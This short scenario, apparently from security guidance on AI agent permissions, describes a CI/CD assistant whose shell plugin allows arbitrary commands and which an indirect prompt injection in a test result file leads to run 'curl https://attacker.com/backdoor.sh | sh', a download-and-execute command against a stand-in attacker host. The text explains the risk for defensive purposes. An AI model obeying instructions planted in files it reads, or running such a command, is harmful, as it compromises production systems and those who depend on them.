A developer builds a CI/CD assistant that restarts a specific service when the agent detects a test failure. They integrate a shell-command plugin for the restart operation. Instead of registering only systemctl restart app-test, the plugin allows arbitrary shell execution. An indirect prompt injection — embedded in a test result file the agent reads — instructs it to run curl https://attacker.com/backdoor.sh | sh. The production server is compromised from inside the CI/CD pipeline.